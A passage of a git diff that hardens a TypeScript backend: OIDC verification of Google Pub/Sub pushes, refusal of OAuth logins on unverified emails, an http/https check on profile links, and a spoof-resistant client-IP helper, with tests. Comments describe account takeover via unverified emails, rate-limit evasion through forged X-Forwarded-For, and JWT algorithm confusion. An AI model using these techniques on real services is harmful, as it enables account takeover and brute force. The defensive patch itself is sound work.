diff --git a/.env.example b/.env.example index a81de9a..4bda5db 100644 --- a/.env.example +++ b/.env.example @@ -188,7 +188,11 @@ DEVICE_PURGE_CRON=0 6 * * * SUBSCRIPTION_RECONCILE_CRON=0 3 * * * SUBSCRIPTION_RECONCILE_BATCH_SIZE=500 -# Shared secret Pub/Sub appends to the Play notification push URL. Empty keeps +# How a Play notification proves it came from Google. Set both and the shared +# secret below stops being consulted. +PLAY_OIDC_AUDIENCE= +PLAY_OIDC_SERVICE_ACCOUNT= +# Fallback: shared secret Pub/Sub appends to the Play notification push URL. Empty keeps # that endpoint closed - it writes billing state and carries no session. PLAY_NOTIFICATIONS_TOKEN= diff --git a/docs/verified-badge.md b/docs/verified-badge.md index 47d4bec..f636aa0 100644 --- a/docs/verified-badge.md +++ b/docs/verified-badge.md @@ -139,10 +139,19 @@ nothing would ever connect that token to that account again; the nightly reconcile finishes it. **`POST /api/v1/billing/play/notifications`** — where Pub/Sub pushes Google's -notifications. No session, guarded by a shared secret on the URL -(`?token=…`, `PLAY_NOTIFICATIONS_TOKEN`). **Empty means the endpoint is -closed**, which is the right default for an unauthenticated route that writes -billing state. +notifications. No session, so it is guarded two ways and the better one wins: + +- **OIDC** (`PLAY_OIDC_AUDIENCE` + `PLAY_OIDC_SERVICE_ACCOUNT`). Pub/Sub signs + the push with a Google identity token; the signature is checked against + Google's published keys, and both the audience and the service account it is + signed as must match. Configure this on the push subscription and here, and + it is the only thing consulted. +- **A shared secret on the URL** (`?token=…`, `PLAY_NOTIFICATIONS_TOKEN`), for + a subscription created without OIDC. Weaker, and knowingly so: a query string + is written into this service's access logs and into every proxy's. + +**With neither configured the endpoint is closed**, which is the right default +for an unauthenticated route that writes billing state. The notification is treated as a **nudge, never as state**. It says a purchase changed; what it changed to is then read from the Play Developer API, and that @@ -170,8 +179,6 @@ badge is granted. It needs the Play Console work: a subscription product, a service account with "View financial data" and "Manage orders and subscriptions", and the Pub/Sub topic. -Verifying the OIDC token Google can attach to a push is the stronger -alternative to the shared secret, and belongs with that same work. ## Settings @@ -179,7 +186,9 @@ alternative to the shared secret, and belongs with that same work. | --- | --- | --- | | `SUBSCRIPTION_RECONCILE_CRON` | `0 3 * * *` | When the repair pass runs. | | `SUBSCRIPTION_RECONCILE_BATCH_SIZE` | `500` | Rows examined per pass. | -| `PLAY_NOTIFICATIONS_TOKEN` | _(empty)_ | Shared secret on the push URL. Empty closes the endpoint. | +| `PLAY_OIDC_AUDIENCE` | _(empty)_ | Audience set on the Pub/Sub push subscription. | +| `PLAY_OIDC_SERVICE_ACCOUNT` | _(empty)_ | Service account Pub/Sub signs the push as. | +| `PLAY_NOTIFICATIONS_TOKEN` | _(empty)_ | Fallback shared secret on the push URL, used only when OIDC is unconfigured. | There is no provider yet. `NoopBillingService` stands in, and it deliberately never reports a subscription as active — a stub that granted entitlements would diff --git a/render.yaml b/render.yaml index 9195939..70041d7 100644 --- a/render.yaml +++ b/render.yaml @@ -193,6 +193,10 @@ projects: # Shared secret on the Play notification push URL. Empty keeps that # endpoint closed, which is the right default for an unauthenticated # route that writes billing state. + - key: PLAY_OIDC_AUDIENCE + sync: false + - key: PLAY_OIDC_SERVICE_ACCOUNT + sync: false - key: PLAY_NOTIFICATIONS_TOKEN sync: false # The paid verification badge. Both have defaults; they are declared diff --git a/src/core/ports/services/google-auth.port.ts b/src/core/ports/services/google-auth.port.ts index 1bc00c7..fd1c54d 100644 --- a/src/core/ports/services/google-auth.port.ts +++ b/src/core/ports/services/google-auth.port.ts @@ -10,6 +10,15 @@ export interface GoogleProfile { /** The derived username based on the user's Google email address. */ username: string; + + /** + * Whether Google says it has verified this address. + * + * Read rather than assumed. An OAuth login matches an existing account by + * email, so an unverified address is a way to walk into somebody else's + * account by claiming to own their mailbox. + */ + isEmailVerified: boolean; } /** diff --git a/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts b/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts index 21e44ae..7faebc4 100644 --- a/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts +++ b/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts @@ -1,4 +1,5 @@ import type { GithubLoginInput } from "./github-login.input"; +import { UnauthorizedError } from "@core/errors"; import type { GithubAuthPort } from "@core/ports/services/github-auth.port"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; import type { AuthTokenPort } from "@core/ports/services/auth-token.port"; @@ -23,6 +24,17 @@ export class GithubLoginUseCase { input.code, ); + // Refused before the account is even looked up. This flow matches an + // existing account by email alone, so an address the provider has not + // verified is a way to walk into somebody else's account by claiming + // to own their mailbox - sign up at the provider with their address, + // authorise, and be handed their session. + if (!profile.isEmailVerified) { + throw new UnauthorizedError( + "GitHub has not verified this email address.", + ); + } + let user = await this.userRepository.findByEmail(profile.email); if (user) { diff --git a/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts b/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts index cd2bf6b..9a50c1c 100644 --- a/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts +++ b/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts @@ -1,4 +1,5 @@ import type { GoogleAuthPort } from "@core/ports/services/google-auth.port"; +import { UnauthorizedError } from "@core/errors"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; import type { AuthTokenPort } from "@core/ports/services/auth-token.port"; import { AccountBannedError, AccountPendingDeletionError } from "@core/errors"; @@ -23,6 +24,17 @@ export class GoogleLoginUseCase { input.code, ); + // Refused before the account is even looked up. This flow matches an + // existing account by email alone, so an address the provider has not + // verified is a way to walk into somebody else's account by claiming + // to own their mailbox - sign up at the provider with their address, + // authorise, and be handed their session. + if (!profile.isEmailVerified) { + throw new UnauthorizedError( + "Google has not verified this email address.", + ); + } + let user = await this.userRepository.findByEmail(profile.email); if (user) { @@ -53,7 +65,7 @@ export class GoogleLoginUseCase { username: finalUsername, provider: "google", providerAccountId: profile.providerAccountId, - isEmailVerified: true, + isEmailVerified: profile.isEmailVerified, }); } diff --git a/src/core/use-cases/profile/update-profil/update-profile.usecase.ts b/src/core/use-cases/profile/update-profil/update-profile.usecase.ts index feb4ba6..fed6e2c 100644 --- a/src/core/use-cases/profile/update-profil/update-profile.usecase.ts +++ b/src/core/use-cases/profile/update-profil/update-profile.usecase.ts @@ -1,4 +1,5 @@ import { ForbiddenError } from "@core/errors"; +import { assertSafeSocialLinks } from "@core/use-cases/shared/profile/social-links"; import type { IProfileRepository } from "@core/ports/repositories/profile.repository"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; import type { UpdateProfileInput } from "./update-profile-usecase.input"; @@ -38,6 +39,8 @@ export class UpdateProfileUseCase { * @throws {ForbiddenError} When a non-bot account tries to set categories. */ async execute(input: UpdateProfileInput): Promise { + assertSafeSocialLinks(input.socials); + if (input.categories !== undefined) { const user = await this.userRepository.findById(input.userId); diff --git a/src/core/use-cases/shared/profile/social-links.ts b/src/core/use-cases/shared/profile/social-links.ts new file mode 100644 index 0000000..c4c15fb --- /dev/null +++ b/src/core/use-cases/shared/profile/social-links.ts @@ -0,0 +1,71 @@ +import { BadRequestError } from "@core/errors"; + +/** Schemes a link on a profile may use. */ +const ALLOWED_PROTOCOLS = new Set(["http:", "https:"]); + +/** Longest platform name accepted as a key. */ +const MAX_KEY_LENGTH = 20; + +/** Longest link accepted. */ +const MAX_VALUE_LENGTH = 300; + +/** Most links one profile may carry. */ +const MAX_LINKS = 10; + +const KEY_PATTERN = /^[a-z][a-z0-9_]*$/; + +/** + * Checks the links a profile carries before they are stored. + * + * `format: "uri"` in the schema is not this check. RFC 3986 asks for *a* + * scheme and nothing more, so `javascript:`, `data:` and `vbscript:` all + * satisfy it - and this is the one field on the platform explicitly typed as a + * URL, which is exactly the field a client will render as an `href` without + * thinking. A profile is public, so anything stored here is served to anyone + * who asks. + * + * The keys are constrained too: they are platform names, and an unbounded + * record of arbitrary strings is a place for somebody to keep whatever they + * like at everyone else's expense. + * + * @param socials - The links submitted, if any + * + * @throws BadRequestError - When a key, a link or the count is unacceptable + */ +export function assertSafeSocialLinks( + socials: Record | null | undefined, +): void { + if (!socials) return; + + const entries = Object.entries(socials); + + if (entries.length > MAX_LINKS) { + throw new BadRequestError( + `A profile may carry at most ${MAX_LINKS} links.`, + ); + } + + for (const [key, value] of entries) { + if (key.length > MAX_KEY_LENGTH || !KEY_PATTERN.test(key)) { + throw new BadRequestError(`"${key}" is not a valid link name.`); + } + + if (value.length > MAX_VALUE_LENGTH) { + throw new BadRequestError(`The link for "${key}" is too long.`); + } + + let protocol: string; + + try { + protocol = new URL(value).protocol; + } catch { + throw new BadRequestError(`The link for "${key}" is not a URL.`); + } + + if (!ALLOWED_PROTOCOLS.has(protocol)) { + throw new BadRequestError( + `Links must be http or https; "${key}" is not.`, + ); + } + } +} diff --git a/src/http/controllers/auth.controller.ts b/src/http/controllers/auth.controller.ts index 5a4820a..40aa404 100644 --- a/src/http/controllers/auth.controller.ts +++ b/src/http/controllers/auth.controller.ts @@ -1,4 +1,5 @@ import { UnauthorizedError } from "@core/errors"; +import { clientIp } from "@plugins/shared/client-ip"; import type { ForgotPasswordUseCase } from "@core/use-cases/auth/forgot-password"; import type { LoginUseCase } from "@core/use-cases/auth/login"; import type { LogoutUseCase } from "@core/use-cases/auth/logout"; @@ -63,7 +64,7 @@ export class AuthController extends BaseAuthController { const response = await this.loginUseCase.execute({ identifier: request.body.identifier, password: request.body.password, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); @@ -101,7 +102,7 @@ export class AuthController extends BaseAuthController { const response = await this.refreshUseCase.execute({ token, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); @@ -200,7 +201,7 @@ export class AuthController extends BaseAuthController { ): Promise { const response = await this.recoverAccountUseCase.execute({ recoveryToken: request.body.recoveryToken, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); diff --git a/src/http/controllers/oauth.controller.ts b/src/http/controllers/oauth.controller.ts index 6a8e12e..88202a3 100644 --- a/src/http/controllers/oauth.controller.ts +++ b/src/http/controllers/oauth.controller.ts @@ -1,4 +1,5 @@ import { BaseAuthController } from "./base-auth.controller"; +import { clientIp } from "@plugins/shared/client-ip"; import type { FastifyInstance, FastifyReply, FastifyRequest } from "fastify"; import { AccountPendingDeletionError } from "@core/errors"; import type { GithubAuthPort } from "@core/ports/services/github-auth.port"; @@ -136,7 +137,7 @@ export class OAuthController extends BaseAuthController { ): Promise { const response = await this.oauthExchangeUseCase.execute({ code: request.body.code, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); diff --git a/src/http/controllers/play-billing.controller.ts b/src/http/controllers/play-billing.controller.ts index 603fe12..484a09d 100644 --- a/src/http/controllers/play-billing.controller.ts +++ b/src/http/controllers/play-billing.controller.ts @@ -3,6 +3,7 @@ import { UnauthorizedError } from "@core/errors"; import { timingSafeEqual } from "node:crypto"; import type { RegisterPlayPurchaseUseCase } from "@core/use-cases/billing/register-play-purchase"; import type { PlayNotificationService } from "@infrastructure/external/billing/play/play-notification.service"; +import type { GoogleOidcVerifier } from "@infrastructure/external/billing/play/google-oidc-verifier"; import type { PlayNotificationQuery, RegisterPlayPurchaseBody, @@ -48,11 +49,13 @@ export class PlayBillingController { * * @param registerPlayPurchaseUseCase - Attaches a purchase to an account * @param playNotificationService - Handles what Google pushes + * @param googleOidcVerifier - Proves a push really came from Google * @param config - Environment configuration, for the push secret */ constructor( private readonly registerPlayPurchaseUseCase: RegisterPlayPurchaseUseCase, private readonly playNotificationService: PlayNotificationService, + private readonly googleOidcVerifier: GoogleOidcVerifier, private readonly config: FastifyInstance["config"], ) {} @@ -100,12 +103,7 @@ export class PlayBillingController { request: FastifyRequest<{ Querystring: PlayNotificationQuery }>, reply: FastifyReply, ): Promise { - const expected = this.config.PLAY_NOTIFICATIONS_TOKEN; - - // No secret configured means the endpoint is not wired up yet. Closed - // rather than open: an unauthenticated endpoint that writes billing - // state is not something to leave ajar by default. - if (!expected || !matchesSecret(request.query.token, expected)) { + if (!(await this.callerIsGoogle(request))) { throw new UnauthorizedError(); } @@ -118,4 +116,36 @@ export class PlayBillingController { reply.status(204).send(); } + + /** + * Decides whether a push really came from Google. + * + * Two mechanisms, and the better one wins where it is available. A signed + * identity token proves the caller; a shared secret in the query string + * only proves they have read something that ends up in access logs - ours + * and every proxy's. The secret stays because a Pub/Sub subscription can + * be created without OIDC, and a deployment part-way through being wired + * up should not silently start accepting anything. + * + * With neither configured the endpoint is closed, which is the right + * default for an unauthenticated route that writes billing state. + * + * @param request - The push request + * @returns True when the caller is accepted + */ + private async callerIsGoogle( + request: FastifyRequest<{ Querystring: PlayNotificationQuery }>, + ): Promise { + if (this.googleOidcVerifier.isConfigured) { + return this.googleOidcVerifier.verify( + request.headers.authorization, + ); + } + + const expected = this.config.PLAY_NOTIFICATIONS_TOKEN; + + return ( + Boolean(expected) && matchesSecret(request.query.token, expected) + ); + } } diff --git a/src/http/controllers/profile.controller.ts b/src/http/controllers/profile.controller.ts index 42d094e..ba79155 100644 --- a/src/http/controllers/profile.controller.ts +++ b/src/http/controllers/profile.controller.ts @@ -86,8 +86,13 @@ export class ProfileController { const body = request.body; await this.updateProfileUseCase.execute({ - userId, + // Identity last. Nothing exploitable reaches here today - the + // schema sets `additionalProperties: false` and AJV strips the + // rest - but this use case authorises on `input.userId`, so a body + // supplying its own would satisfy that check rather than fail it, + // and the ordering should not be the thing standing in the way. ...body, + userId, }); reply.status(204).send(); diff --git a/src/http/plugins/di/external.di.ts b/src/http/plugins/di/external.di.ts index 91d5c07..f203645 100644 --- a/src/http/plugins/di/external.di.ts +++ b/src/http/plugins/di/external.di.ts @@ -6,6 +6,7 @@ import { } from "@infrastructure/external/push/expo-push.service"; import { NoopBillingService } from "@infrastructure/external/billing/noop-billing.service"; import { PlayNotificationService } from "@infrastructure/external/billing/play/play-notification.service"; +import { GoogleOidcVerifier } from "@infrastructure/external/billing/play/google-oidc-verifier"; import { GithubAuthService } from "@infrastructure/external/github-auth.service"; import { GoogleAuthService } from "@infrastructure/external/google-auth.service"; import { S3StorageService } from "@infrastructure/external/s3-storage.service"; @@ -45,6 +46,19 @@ export const externalModule = { */ playNotificationService: asClass(PlayNotificationService).singleton(), + /** + * Proves a Play notification came from Google rather than from somebody + * who read a log line. Unconfigured, the endpoint falls back to the + * shared secret on the push URL. + */ + googleOidcVerifier: asFunction( + (config) => + new GoogleOidcVerifier({ + audience: config.PLAY_OIDC_AUDIENCE, + serviceAccountEmail: config.PLAY_OIDC_SERVICE_ACCOUNT, + }), + ).singleton(), + emailService: asFunction((config, logger) => { return new EmailService( { diff --git a/src/http/plugins/rate-limit.plugin.ts b/src/http/plugins/rate-limit.plugin.ts index 3337073..4021143 100644 --- a/src/http/plugins/rate-limit.plugin.ts +++ b/src/http/plugins/rate-limit.plugin.ts @@ -2,6 +2,7 @@ import fastifyPlugin from "fastify-plugin"; import fastifyRateLimit from "@fastify/rate-limit"; import type { FastifyInstance, FastifyRequest } from "fastify"; import { TooManyRequestsError } from "@core/errors"; +import { clientIp } from "@plugins/shared/client-ip"; import { createHash } from "node:crypto"; /** @@ -28,32 +29,6 @@ import { createHash } from "node:crypto"; * - `timeWindow`: Time window for rate limiting ("1 minute") */ // jsdoc -/** - * The caller's address, as far as it can be trusted. - * - * `request.ip` is not good enough for the policies that stop brute force. The - * app runs with `trustProxy: true`, which tells Fastify to believe the whole - * `X-Forwarded-For` chain - and the left-hand end of that chain is written by - * the client. A caller can therefore change `request.ip` on every request and - * be handed a fresh bucket each time, which is the entire protection gone. - * - * `CF-Connecting-IP` is not spoofable in the same way: Cloudflare overwrites - * it at the edge, and the deployment has no route that bypasses the edge - the - * Render subdomain is disabled, so the custom domain is the only way in. Where - * that header is absent (local development, tests) there is no proxy to lie - * through either, and `request.ip` is the real peer. - * - * @param request - The incoming request - * @returns The address to count this request against - */ -function untrustedClientIp(request: FastifyRequest): string { - const edgeIp = request.headers["cf-connecting-ip"]; - - if (typeof edgeIp === "string" && edgeIp.length > 0) return edgeIp; - - return request.ip; -} - export const RateLimitPolicies = { STRICT: { max: 3, @@ -66,8 +41,7 @@ export const RateLimitPolicies = { // account it holds, turning three attempts per quarter hour into three // times however many accounts it can collect. Keeping registration // itself on this key is what bounds that collection. - keyGenerator: (request: FastifyRequest): string => - untrustedClientIp(request), + keyGenerator: (request: FastifyRequest): string => clientIp(request), }, SENSITIVE: { max: 5, @@ -136,7 +110,7 @@ export function rateLimitKeyFor( } } - return untrustedClientIp(request); + return clientIp(request); } function rateLimitPlugin(fastify: FastifyInstance): void { diff --git a/src/http/plugins/shared/client-ip.ts b/src/http/plugins/shared/client-ip.ts new file mode 100644 index 0000000..9e7bba1 --- /dev/null +++ b/src/http/plugins/shared/client-ip.ts @@ -0,0 +1,33 @@ +import type { FastifyRequest } from "fastify"; + +/** + * The caller's address, as far as it can be trusted. + * + * `request.ip` is not it. The app runs with `trustProxy: true`, which tells + * Fastify to believe the whole `X-Forwarded-For` chain - and the left-hand end + * of that chain is written by the client. Anything that keys or records an + * address from `request.ip` is therefore recording whatever the caller felt + * like sending. + * + * `CF-Connecting-IP` is not spoofable the same way: Cloudflare overwrites it at + * the edge, and this deployment has no route around the edge - the Render + * subdomain is disabled, so the custom domain is the only way in. Where the + * header is absent (local development, tests, a direct peer) there is no proxy + * to lie through either, and `request.ip` is the real peer. + * + * The proper fix is to replace `trustProxy: true` with the actual hop count or + * the edge's CIDR ranges. That takes knowing the deployment's exact shape; + * this does not, and closes the same hole for the two things that matter - + * what brute-force protection counts, and what a session records about the + * device that opened it. + * + * @param request - The incoming request + * @returns The address to attribute this request to + */ +export function clientIp(request: FastifyRequest): string { + const edgeIp = request.headers["cf-connecting-ip"]; + + if (typeof edgeIp === "string" && edgeIp.length > 0) return edgeIp; + + return request.ip; +} diff --git a/src/http/routes/profile/profile.routes.ts b/src/http/routes/profile/profile.routes.ts index 5de21aa..f1efdb7 100644 --- a/src/http/routes/profile/profile.routes.ts +++ b/src/http/routes/profile/profile.routes.ts @@ -42,7 +42,7 @@ import { } from "@typings/schemas/profile/suggested-users.schema"; import { Type } from "@sinclair/typebox"; import { ResponseSchema } from "@typings/schemas/create-response-schema"; -import type { FastifyInstance, FastifyRequest } from "fastify"; +import type { FastifyInstance } from "fastify"; const UploadAvatarResponseSchema = ResponseSchema( Type.Object({ avatarUrl: Type.String() }), @@ -113,11 +113,11 @@ function profileRoutes(fastify: FastifyInstance): void { response: { 200: SearchProfilesResponseSchema }, tags: ["Profile"], }, - onRequest: async (request) => { - if (request.headers.authorization) { - await request.jwtVerify(); - } - }, + // `optionalAuthenticate` rather than a bare `jwtVerify`: the + // decorator also re-reads the account row, so a suspended or + // deleted account stops being treated as signed in here the way + // it does everywhere else. + onRequest: [fastify.optionalAuthenticate], }, profileController.searchProfiles.bind(profileController), ); @@ -133,11 +133,9 @@ function profileRoutes(fastify: FastifyInstance): void { response: { 200: GetProfileResponseSchema }, tags: ["Profile"], }, - onRequest: async (request: FastifyRequest) => { - if (request.headers.authorization) { - await request.jwtVerify(); - } - }, + // See the note on /search: the decorator re-reads the account row, + // so a suspended account stops being treated as signed in here. + onRequest: [fastify.optionalAuthenticate], }, profileController.getProfile.bind(profileController), ); @@ -184,11 +182,11 @@ function profileRoutes(fastify: FastifyInstance): void { response: { 200: SuggestedUsersResponseSchema }, tags: ["Profile"], }, - onRequest: async (request) => { - if (request.headers.authorization) { - await request.jwtVerify(); - } - }, + // `optionalAuthenticate` rather than a bare `jwtVerify`: the + // decorator also re-reads the account row, so a suspended or + // deleted account stops being treated as signed in here the way + // it does everywhere else. + onRequest: [fastify.optionalAuthenticate], }, profileController.getSuggestions.bind(profileController), ); diff --git a/src/http/types/schemas/env.schema.ts b/src/http/types/schemas/env.schema.ts index d119b8c..b808e94 100644 --- a/src/http/types/schemas/env.schema.ts +++ b/src/http/types/schemas/env.schema.ts @@ -272,6 +272,13 @@ export const EnvSchema = Type.Object({ minimum: 1, }), + // How a Play notification proves it came from Google. The OIDC pair is the + // real mechanism: Pub/Sub signs the push with a Google identity token, and + // both the audience and the service account it is signed as are checked. + // Set them on the push subscription and here, and the shared secret below + // stops being consulted. + PLAY_OIDC_AUDIENCE: Type.String({ default: "" }), + PLAY_OIDC_SERVICE_ACCOUNT: Type.String({ default: "" }), // Shared secret Pub/Sub appends to the Play notification push URL. Empty // - the default - closes that endpoint entirely rather than leaving an // unauthenticated route that writes billing state open by default. diff --git a/src/infrastructure/external/billing/play/google-oidc-verifier.ts b/src/infrastructure/external/billing/play/google-oidc-verifier.ts new file mode 100644 index 0000000..51bcbf2 --- /dev/null +++ b/src/infrastructure/external/billing/play/google-oidc-verifier.ts @@ -0,0 +1,226 @@ +import { + createPublicKey, + createVerify, + type JsonWebKeyInput, + type KeyObject, +} from "node:crypto"; +import axios from "axios"; + +const CERTS_URL = "https://www.googleapis.com/oauth2/v3/certs"; + +const ISSUERS = new Set(["accounts.google.com", "https://accounts.google.com"]); + +/** How long a fetched key set is reused before it is fetched again. */ +const CACHE_TTL_MS = 60 * 60 * 1000; + +/** Tolerated clock difference between Google and this machine. */ +const CLOCK_SKEW_SECONDS = 60; + +/** + * One key from Google's published JWK set. + * + * Typed loosely on purpose: `createPublicKey` takes the JWK as it comes, and + * narrowing it here would mean restating a format Google owns. + */ +interface GoogleJwk { + kid?: string; + alg?: string; + kty?: string; + n?: string; + e?: string; +} + +interface OidcClaims { + iss?: string; + aud?: string; + exp?: number; + email?: string; + email_verified?: boolean; +} + +/** + * What the verifier was told to accept. + */ +export interface GoogleOidcConfig { + /** + * The audience configured on the Pub/Sub push subscription. + * + * Empty disables OIDC verification, which is what leaves a deployment with + * no Pub/Sub subscription falling back to the shared secret. + */ + audience: string; + + /** + * The service account Pub/Sub signs as. + * + * Checked as well as the audience: an audience alone is a string anybody + * with a Google account can mint a token for, and it is often a URL that + * is not secret. The pair is what identifies the caller. + */ + serviceAccountEmail: string; +} + +/** + * Verifies the identity token Google attaches to a Pub/Sub push. + * + * The alternative this replaces is a shared secret in the query string, which + * ends up in this service's access logs and in those of anything in front of + * it. A signed token in the `Authorization` header does not, and it proves the + * caller is Google rather than somebody who read a log line. + * + * Written against Node's own crypto rather than a JWT library: the check is a + * signature, three claims and an expiry, and Google publishes the keys as a + * JWK set that `createPublicKey` reads directly. + */ +export class GoogleOidcVerifier { + private keys: Map = new Map(); + + private fetchedAt = 0; + + /** + * @param config - The audience and service account to accept + */ + constructor(private readonly config: GoogleOidcConfig) {} + + /** + * Whether this deployment is configured to verify tokens at all. + * + * @returns True when an audience and a service account are set + */ + get isConfigured(): boolean { + return ( + this.config.audience.length > 0 && + this.config.serviceAccountEmail.length > 0 + ); + } + + /** + * Checks an `Authorization: Bearer ` header from a push request. + * + * @param authorization - The header value, if any + * @returns True when the token is a valid Google identity token for the + * configured audience and service account + */ + async verify(authorization: string | undefined): Promise { + if (!this.isConfigured) return false; + + const token = authorization?.startsWith("Bearer ") + ? authorization.slice("Bearer ".length).trim() + : null; + + if (!token) return false; + + const parts = token.split("."); + + if (parts.length !== 3) return false; + + const [rawHeader, rawPayload, rawSignature] = parts as [ + string, + string, + string, + ]; + + try { + const header = decodeSegment<{ alg?: string; kid?: string }>( + rawHeader, + ); + + // RS256 only. Accepting whatever the token names is how a token + // signed with "none", or with the public key as an HMAC secret, + // gets through. + if (header.alg !== "RS256" || !header.kid) return false; + + const jwk = await this.keyFor(header.kid); + + if (!jwk) return false; + + const verifier = createVerify("RSA-SHA256"); + verifier.update(`${rawHeader}.${rawPayload}`); + verifier.end(); + + const signatureValid = verifier.verify( + publicKeyFrom(jwk), + Buffer.from(rawSignature, "base64url"), + ); + + if (!signatureValid) return false; + + return this.claimsAccepted(decodeSegment(rawPayload)); + } catch { + // A malformed token is a rejected token; there is nothing here + // worth distinguishing for the caller. + return false; + } + } + + /** + * Checks everything about the token that is not its signature. + * + * @param claims - The decoded payload + * @returns True when the claims name the caller we expect + */ + private claimsAccepted(claims: OidcClaims): boolean { + const now = Math.floor(Date.now() / 1000); + + if (!claims.iss || !ISSUERS.has(claims.iss)) return false; + if (!claims.exp || claims.exp + CLOCK_SKEW_SECONDS < now) return false; + if (claims.aud !== this.config.audience) return false; + if (claims.email !== this.config.serviceAccountEmail) return false; + + return claims.email_verified === true; + } + + /** + * Finds the signing key, fetching Google's key set when it is stale. + * + * A key id that is not in a fresh set is refetched once: Google rotates + * keys, and a rotation that happened inside the cache window would + * otherwise reject every push until the hour was up. + * + * @param kid - The key id named in the token header + * @returns The key, or null when Google does not publish it + */ + private async keyFor(kid: string): Promise { + const stale = Date.now() - this.fetchedAt > CACHE_TTL_MS; + + if (stale || !this.keys.has(kid)) await this.refreshKeys(); + + return this.keys.get(kid) ?? null; + } + + /** + * Reads Google's published signing keys. + */ + private async refreshKeys(): Promise { + const response = await axios.get<{ keys?: GoogleJwk[] }>(CERTS_URL, { + timeout: 5000, + }); + + const keys = response.data?.keys ?? []; + + this.keys = new Map( + keys.filter((key) => key.kid).map((key) => [key.kid!, key]), + ); + this.fetchedAt = Date.now(); + } +} + +/** + * Builds a verifying key from one of Google's JWKs. + * + * @param jwk - The published key + * @returns The key object to verify with + */ +function publicKeyFrom(jwk: GoogleJwk): KeyObject { + return createPublicKey({ key: jwk, format: "jwk" } as JsonWebKeyInput); +} + +/** + * Decodes one base64url segment of a JWT. + * + * @param segment - The segment + * @returns Its parsed contents + */ +function decodeSegment(segment: string): T { + return JSON.parse(Buffer.from(segment, "base64url").toString("utf8")) as T; +} diff --git a/src/infrastructure/external/google-auth.service.ts b/src/infrastructure/external/google-auth.service.ts index a56899e..24836bf 100644 --- a/src/infrastructure/external/google-auth.service.ts +++ b/src/infrastructure/external/google-auth.service.ts @@ -78,6 +78,10 @@ export class GoogleAuthService implements GoogleAuthPort { ); }); + // `verified_email` comes from the userinfo endpoint; treat anything + // that is not an explicit true as unverified. + const isEmailVerified = googleUser.verified_email === true; + const derivedUsername = googleUser.email .split("@")[0] .toLowerCase() @@ -87,6 +91,7 @@ export class GoogleAuthService implements GoogleAuthPort { email: googleUser.email, username: derivedUsername, providerAccountId: googleUser.id, + isEmailVerified, }; } } diff --git a/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts b/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts index d8506ce..bf21133 100644 --- a/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts +++ b/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts @@ -1,4 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +import { UnauthorizedError } from "@core/errors"; import { GithubLoginUseCase } from "@core/use-cases/oauth/oauth-github"; import type { GithubAuthPort } from "@core/ports/services/github-auth.port"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; @@ -163,4 +164,19 @@ describe("GithubLoginUseCase", () => { 60, ); }); + + it("should refuse a login on an address the provider has not verified", async () => { + // The flow matches an existing account by email alone, so an + // unverified address is a way into somebody else's account: register + // at the provider with their address, authorise, and be handed their + // session. + vi.mocked(githubAuthService.getUserProfileByCode).mockResolvedValue({ + ...mockProfile, + isEmailVerified: false, + }); + + await expect(useCase.execute({ code: "code", delivery: "cookie" })).rejects.toThrow(UnauthorizedError); + + expect(userRepository.findByEmail).not.toHaveBeenCalled(); + }); }); diff --git a/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts b/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts index 5a8623d..0d45fde 100644 --- a/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts +++ b/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts @@ -1,4 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +import { UnauthorizedError } from "@core/errors"; import { GoogleLoginUseCase } from "@core/use-cases/oauth/oauth-google"; import type { GoogleAuthPort } from "@core/ports/services/google-auth.port"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; @@ -12,6 +13,7 @@ const mockProfile = { providerAccountId: "google-456", username: "googleuser", email: "googleuser@example.com", + isEmailVerified: true, }; describe("GoogleLoginUseCase", () => { @@ -104,7 +106,7 @@ describe("GoogleLoginUseCase", () => { expect(userRepository.createWithOAuth).not.toHaveBeenCalled(); }); - it("should create new user with isEmailVerified always true", async () => { + it("should carry the provider's verification flag onto the new account", async () => { vi.mocked(userRepository.findByEmail).mockResolvedValue(null); vi.mocked(userRepository.findByUsername).mockResolvedValue(null); vi.mocked(cryptoService.generateRandomHex).mockReturnValue( @@ -163,4 +165,19 @@ describe("GoogleLoginUseCase", () => { 60, ); }); + + it("should refuse a login on an address the provider has not verified", async () => { + // The flow matches an existing account by email alone, so an + // unverified address is a way into somebody else's account: register + // at the provider with their address, authorise, and be handed their + // session. + vi.mocked(googleAuthService.getUserProfileByCode).mockResolvedValue({ + ...mockProfile, + isEmailVerified: false, + }); + + await expect(useCase.execute({ code: "code", delivery: "cookie" })).rejects.toThrow(UnauthorizedError); + + expect(userRepository.findByEmail).not.toHaveBeenCalled(); + }); }); diff --git a/tests/unit/core/use-cases/shared/profile/social-links.test.ts b/tests/unit/core/use-cases/shared/profile/social-links.test.ts new file mode 100644 index 0000000..e25d237 --- /dev/null +++ b/tests/unit/core/use-cases/shared/profile/social-links.test.ts @@ -0,0 +1,76 @@ +import { describe, expect, it } from "vitest"; +import { assertSafeSocialLinks } from "@core/use-cases/shared/profile/social-links"; +import { BadRequestError } from "@core/errors"; + +describe("assertSafeSocialLinks", () => { + it("should accept 